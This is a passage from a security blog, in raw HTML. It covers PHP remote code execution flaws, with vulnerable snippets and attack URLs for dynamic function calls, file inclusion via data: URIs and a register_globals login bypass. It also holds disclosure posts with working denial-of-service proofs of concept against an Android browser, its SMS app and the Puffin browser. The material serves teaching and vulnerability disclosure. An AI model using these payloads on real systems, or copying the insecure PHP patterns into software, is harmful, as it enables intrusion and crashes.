example:</div><blockquote class="tr_bq"><br /><b><?php </b><b>$name=$_GET[‘name’];</b><b>$argument=$_GET['argument'];</b><b>$name($argument);</b><b>?></b></blockquote><div><br /></div><div>In case if register_globals flag is set to enabled, the previous code is equivalent to:</div><div><br /></div><blockquote class="tr_bq"><b><?php </b><b>$name($argument);</b><b>?></b></blockquote><div>From here the exploitation is piece of cake: </div><div><br /></div><div><b>http://localhost/index.php?name=eval&argument=phpinfo</b></div><div><br /></div><div>The  $name becomes name of function and $argument is the argument of name. It should be clear what it could do.</div><div><br /></div><div>In another case with create_function(), it is possible to create veiled function. For example:</div><blockquote class="tr_bq"><b><?php </b><b>$name=$_GET['name'];</b><b>$create =create_function('$name',"echo $name;");</b><b>$name('');</b><b>?></b></blockquote><div>Then following request would give out result phpinfo()</div><div><br /></div><div>http://localhost/index.php?name=phpinfo()</div><div><br /></div><div>In eval() it was equivalent to something like: </div><blockquote class="tr_bq"><br /><b><?php </b><b>eval("function this_is_so_safe() { echo phpinfo(); }");</b><b>this_is_so_safe();</b><b>?></b></blockquote><div><br /></div><div><h4>Inclusion</h4></div><div>In PHP there are some functions that are used to dynamically include the PHP code inside the page, if an untrusted input is used to dynamically include files inside of a page, it would result into a file inclusion vulnerability.</div><div></div><div>Here is the list of some functions that need to be handled with care - include(), iclude_once(), require(), require_once() etc </div><div></div><div>Best way to be preserved from this kind of attacks is to avoid using dynamic file paths. If this is not possible, then the usage of this should be limited and checked by a list of allowed files to be included. Also try to use absolute path rather than relative. But if the PHP directive include path is able to be modified, you can never know where the script with defined partial path comes from. Good approach is to use file inclusion as follows:</div><blockquote class="tr_bq"><b><?php </b><b>define('MY_FILE_PATH','/var/www/htdocs/');</b><b>require_once(APP_PATH .'lib.php');</b><b>?></b></blockquote><div>Let’s now take a look at another example, consider the following page:</div><div><br /></div><div>http://localhost/index.php?file=page1</div><div><br /></div><div>page1 is the file that is dynamically included into the webpage, by looking at the above url, we can assume that the backend would be using the following code:</div><div><br /></div><blockquote class="tr_bq"><b><?php </b><b>$page_to_include=$_GET['file'];</b><b>require_once($page_to_include.'.html');</b><b>?></b></blockquote><div><br /></div><div>And now imagine that attacker changes value of variable “file” to following:</div><div><br /></div><div>http://localhost/index.php?file=data:text/plain,<?php phpinfo();?></div><div><br /></div><div>LFI can easily be converted to remote code execution (RCE) in one way more. This new data protocol has appeared in PHP 5.2.0 and in older versions will not work. Also PHP will argue and would not allow to use it if allow_url_include=off which results in a full path disclosure.</div><div><br /></div><div>There are other possibilities how code can be injected and later evaluated; via apache log files, using “/proc” and others. Without a doubt, inappropriate usage of functions like file_get_contents(), readfile(), input wrappers like php://input and others represent a threat as well. However, the exploitation part is a subject of another article.</div><div><br /></div><div><h4>Variables</h4></div><div><br /></div><div>Register_globals is a php setting that allows variables to be registered as global, the register_globals has lead to security issues such as file inclusion discussed above , as a result of which register_globals is by default switched off in 4.2 and will remove it in php version 6.0. Let's take a look at the following code, assuming that register_globals flag is turned on.</div><div><br /></div><blockquote class="tr_bq"><b> <?php</b><br /><b>foreach($_GET as $key=>$name){</b><br /><b>$$key=$name;</b><br /><b>}</b><br /><b>// ...</b><br /><b>if(logged_in()||$authenticated){</b><br /><b>// ... logged area</b><br /><b>}</b><br /><b>?></b></blockquote><div>The above code takes each user input, then if the variable authenticated is true, or the function is true, it will execute admin codes, so when register globals is on, we can modify every variable as a global using post and get requests.<br /><br />Thus when we make the variable globally true using a get request, the if statement becomes true and executes its code:<br /><br />http:// localhost/index.php?authenticated=true.<br /><br />Even if $authenticated is an integer variable. It means we can pass something like http:// localhost/index.php?authenticated=1 since <b>1</b> is true and <b>0</b> is not so much. so either we gave it <b>1</b> or true, it still gets code executed..<br /><br />Hope you have enjoyed the first article, we would continue the series and present some other scenarios that lead to arbitrary code execution inside the next part.<br /><h4>About The Author</h4>This following article is a guets post by<b> Paulos Yibelo</b>. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security at <a href="http://paulosyibelo.blogspot.com/" rel="nofollow" target="_blank">http://paulosyibelo.blogspot.com/</a><br /><h4>About The Editor</h4>This article was edited by "<b>Fatima Hanif</b>", a student at NED university. She is responsible for editorial work at RHA infosec.<br /><br /><b>References </b><br /><b><br /></b><b>- http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html</b></div></div></div>

Remote Code Execution in PHP Explained - Part 1

This is a two part article about code execution in PHP. It’s a very detailed article and contains references from other sources as well. I ...

+ Read more »

Android Browser + Messaging App DOS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0BftzuferuKM2RlpgnYOm6P4Xy0x_VajsL-1-EgayXZBzmjMGwY9N3Zk1b8ox5WAZn7jng3GDnig99C6N50XQQDgedD6tAkv6FXpoD3pholP5D27rxRYEbc7l1YJOcFrz7inJi3zknM/s1600/7660noir_a20_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0BftzuferuKM2RlpgnYOm6P4Xy0x_VajsL-1-EgayXZBzmjMGwY9N3Zk1b8ox5WAZn7jng3GDnig99C6N50XQQDgedD6tAkv6FXpoD3pholP5D27rxRYEbc7l1YJOcFrz7inJi3zknM/s1600/7660noir_a20_2.jpg" width="320" /></a></div><br />While being impressed by <span style="white-space: pre-wrap;">Collin Mulliner's research on smart phones, I found myself very curious trying to find vulnerabilities inside it and i found several ones out.</span> In this short blog post I would be discussing about DOS vulnerabilities inside the default browser and the messaging app of Qmobile Noir A20. Qmobile Noir A20 runs on Android 4.1.2. The flaw itself is present it inside pre kitkat browsers as well as the default messaging system, however since most of the Qmobile smartphones within the released with or slightly after Noir A20 are most likely using the same browser version and messaging app. <br /><a name="more"></a><br /><h4>Android Browser DOS</h4>The vulnerability is a simply Denial of service issue due to the writing overly long strings of iframes to the DOM.<br /><br />Here is the POC:<br /><br /><blockquote class="tr_bq"><html><br /><head><br /><title>Android Browser DOS</title><br /> <body><br /> <script><br />  frame = "<iframe src=\"test:";<br />  for (i = 0; i < 100000; i++) {<br />      frame = frame + "0000000000000000000000000000000000"; // <u>Long string of Numbers</u><u> </u> }<br /> frame = frame + "\" width=125 height=125></iframe>"; // <u>Appending the resultant of the loop to closing tag. </u> document.write(frame); //<u> Writing the value of frame to DOM</u><br />  </script><br />  </body><br />  </html></blockquote><h4>Messaging App DOS</h4>A sms protocol provides text messaging component for all smartphones, During my tests, I concluded that the default messaging app for Qmobile Noir A20 is not able to handle long strings sent via sms:// protocol. Please note that this is partly recoverable DOS, and also the exact conditions for DOS are not yet known.<br /><br />Here is the POC:<br /><br />  <html><br />  <title>Android Browser SMS Protocol Denial Of Service</title><br />  <body><br />  <script><br />  frame = "<iframe src=\"sms:";<br />  for (i = 0; i < 30000; i++) {<br />          frame = frame + "+12345678912222222222222";<br />  }<br /> frame = frame + "\" </iframe><iframe src='sms:+1234567891212121222222222'></iframe>";<br /> document.write(frame);<br />  </script><br />  </body><br />  </html><br /><b><br /></b><b>References</b><br /><ul style="text-align: left;"><li>http://mulliner.org/security/advisories/iphone_safari_phone-auto-dial_vulnerability_advisory.txt</li><li>https://www.ietf.org/rfc/rfc5724.txt</li></ul></div>

Android Browser + Messaging App DOS

While being impressed by Collin Mulliner's research on smart phones, I found myself very curious trying to find vulnerabilities inside ...

+ Read more »

Puffin Web Browser Pop Up Recursion Vulnerability - DOS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" imageanchor="1" style="background-color: white; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-wRCidSZEw9Zmc6fpWfFhJ9u8OAhDXYFasaGcpQcL1S7zwgetOlKbfxvb0X6fHXoFS4i5cVNBTo0wwmfw-QuvotoTHXwrXNRUaeAQU0AKAxhNVigQGBBIAnrVf2x_Z968UrZwT__9xfk/s1600/mzl.lomvgfho.png" style="border-width: 0px; padding: 10px;" width="320" /></a></div><table><tbody><tr><td class="webkit-line-number" value="1"></td><td class="webkit-line-content"><span class="webkit-html-tag">During my recent security research on "<b>Puffin Web Browser</b>" I found several security bugs with "<b>Puffin Web Browser</b>" ranging from low to high risk issues. My recent post "<a href="http://www.rafayhackingarticles.net/2014/07/puffin-web-browser-address-bar-spoofing.html" target="_blank">Puffin Web Browser Address Bar Spoofing</a>" already talked about a high risk vulnerability inside Puffin Web browser. </span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">However, today I would like to discuss about a low/medium risk issue known as "<b>Pop Up Recursion</b>" vulnerability resulting in a Denial Of Service. This is a known issue and in past has been already addressed in browsers such as Google Chrome, however Puffin Web Browser is still affected by the issue.  </span><br /><a name="more"></a><br /><h4>Vulnerability</h4>The vulnerability occurred due to mishandling of location.reload function, as it keeps reloading the document, however the issue more likely is present inside of not limiting the pop ups or simply offering no way to ignore further prompts. <br /><span class="webkit-html-tag"><b><br />Expected Result</b></span><br /><span class="webkit-html-tag"><b><br /></b>Puffin Web Browser should have opened a new window with single alert box.<br /><b><br />What actually happened? </b></span><br /><span class="webkit-html-tag"><br /></span><span class="webkit-html-tag">Puffin Web Browser recursively opens up new window on pressing the ok button and there is no way to prevent the page from creating additional pop ups just like Chrome, IE etc. </span><br /><b><br /></b><span class="webkit-html-tag"><b>Puffin Web Browser</b></span><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><span class="webkit-html-tag"></span><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNQ8Hjr6yQHSF86P7w7q8FedQJ-xtiGBboWmkag9ow7fdvqcbsVZHCIA7426byNfZEFuiXhvSk5v-tPXdq3KSxB8twLqSoH1hRZFDI3ZLGnS_vTwvR5zV_MHhs7vSV_5fd9m0HVPcWZk/s1600/Screenshot_2014-07-17-09-53-47.png" width="320" /></a></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">On pressing the "OK" button, it would reload the copy a current document in a new tab, on pressing "OK" on the second window, it would reload another copy of the current document in a new tab, this would keep growing until the browser finally crashes. </div><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="webkit-html-tag"><b>Chrome</b></span></div><br /><div class="separator" style="clear: both; text-align: center;"><span class="webkit-html-tag"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgXeZXD6se-N8cMfeEckB51FKUqTbqZIE8RunXieDne_-HG7D6xLmlxPyrkzFjDVmbPPiJs-FsrQosAi01upjKnAMuShZjOdTEdwg2VAjJZLnRVVfCW-FTaIk6oAZtU63KmESti832N7Q/s1600/Screenshot_2014-07-17-09-53-31.png" width="320" /></a></span></div><br />In "Chrome" for android, this effect is limited by offering a checkbox to prevent the current document from creating additional dialogs.<br /><br /><h4>POC</h4><span style="font-weight: normal;">The following is the simple proof of concept:</span><br /><div><div><b><html></b></div><div><b><title>Puffin Web Browser Pop Up Recursion DOS</title></b></div><div><b><body></b></div><div><b><script></b></div><div><b>window = <span style="color: #cc0000;">window.open(location.reload('http://rafayhackingarticles.net'));</span></b></div><div><b>window.alert(window)</b></div><div><b></script></b></div><div><b></body></b></div><div><b></html></b></div></div></td></tr></tbody></table><h4>Fix</h4>Puffin Web Browser team has acknowledged the issue and have promised to fix them in next versions.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ84xUI9Q0cQMY3mxSBvN3Sr6WMcaiqU8QNlAG4d-Ujfn6mnaF1fs8pNoltcrPrtOqWEeecGWFavzwS0Uz7TeU-nbQ3uQ_DAaxZfvO0RSfrQpBH_0ZH75_gPBSxcIE_6d05WH9xBjO07w/s1600/dos.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><br /></div>